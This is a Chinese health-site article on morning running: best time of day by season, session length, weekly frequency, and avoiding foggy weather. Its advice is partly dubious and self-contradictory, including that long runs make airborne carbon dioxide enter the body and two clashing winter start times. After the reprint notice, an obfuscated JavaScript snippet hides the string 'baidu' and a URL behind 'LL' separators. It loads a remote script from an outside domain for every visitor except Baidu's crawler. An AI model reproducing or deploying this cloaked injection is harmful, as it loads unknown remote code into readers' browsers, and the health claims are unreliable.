當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

晨跑多長時間最合適呢

2017-04-16 13:17:25  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在現(xiàn)在這個季節(jié)里面跑步是非常合適的,尤其是早上起來的時候進(jìn)行跑步,因為這個時候是一天當(dāng)中精力最充沛的時候,而且如果這個時候進(jìn)行跑步

在現(xiàn)在這個季節(jié)里面跑步是非常合適的,尤其是早上起來的時候進(jìn)行跑步,因為這個時候是一天當(dāng)中精力最充沛的時候,而且如果這個時候進(jìn)行跑步的話會讓自己整天的工作都變得不是那么的疲憊,但是對于晨跑的相關(guān)知識很多人都不是那么了解的,尤其是在晨跑的時候需要注意時間問題,跑步并不是說時間越長就會效果越好的,如果是時間太長的話就會使得自己的腿部進(jìn)行抽搐的。

運(yùn)動時間

晨跑的最佳時間根據(jù)季節(jié)而定,一般是太陽剛露臉的時候最佳,冬季一般是7點(diǎn)左右。

在寒冷的冬季,很多人都選擇晨練來增強(qiáng)免疫力。但室外健身不是越早越好,有關(guān)健康專家建議:冬季室外健身適宜在日出后進(jìn)行。

冬季日出前的地面溫度較低,清晨空氣中釋放出的一氧化碳、二氧化碳等污染物的含量較高。另外,汽車排放尾氣中的氮氧化物、碳?xì)浠?、鉛等有害污染物質(zhì)也聚于地面,人們?nèi)粼缙疱憻?,就會吸入很多的煙塵和有毒氣體。長期在這種環(huán)境下鍛煉,可能會出現(xiàn)乏力、頭暈、咽喉炎等疾患,危害身體健康。

冬季健身,應(yīng)該在10時左右為宜。這時太陽出來后曬到地面,使大氣開始上下對流,污染的空氣向高空擴(kuò)散,對人體的侵害會減小。另外,冬季晨間氣溫較低,要到太陽出來半個小時后才會慢慢緩解。

一周最好運(yùn)動3--5次。

忌大霧天氣鍛煉

霧是由無數(shù)微小的水珠組成的,這些水珠中含有大量的塵埃、病原微生物等有害物質(zhì)。如在霧天進(jìn)行鍛煉,由于呼吸量增加,勢必會吸進(jìn)更多的有毒物質(zhì),影響氧的供給,這會引起胸悶、呼吸困難等癥狀,嚴(yán)重者會引起鼻炎、肺炎、氣管炎、結(jié)膜炎以及其他病癥。大霧天濕度大,致使皮膚對體勢的散發(fā)受到影響,對鍛煉不利。

如果早晨起來霧氣比較大,這些霧氣往往把空氣的雜質(zhì)甚至細(xì)菌致病性的微生物吸著到人的上呼吸道以后,在人體抵抗力下降的情況下,在呼吸道感染后會流到下呼吸造成下呼吸道感染,下呼吸感染就是支氣管肺炎包括肺腔的感染甚至是胸腔的感染,那就會造成病情進(jìn)一步加重,所以在有霧的天氣最好不出來散步,避開這樣的天氣。另外對于作過手術(shù)的病人或者過去有過肺癌手術(shù)以后,這就應(yīng)該注意一些,因為他的部已經(jīng)造成一些創(chuàng)傷,再不注意冷空氣的刺激、空氣的污染那會使病情加重。

那么每天晨跑的時間還是要根據(jù)季節(jié)來決定的,如果是冬天的話基本上都是7點(diǎn)鐘左右就可以進(jìn)行晨跑的,而且晨跑的時間最好是在半個小時至一個小時左右,盡量的不要晨跑太長的時間,要不然的話就會使得空氣中的二氧化碳進(jìn)入到自己的體內(nèi),如果是在室外待太長時間的話就很可能會出現(xiàn)頭暈,甚至是呼吸道疾病。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}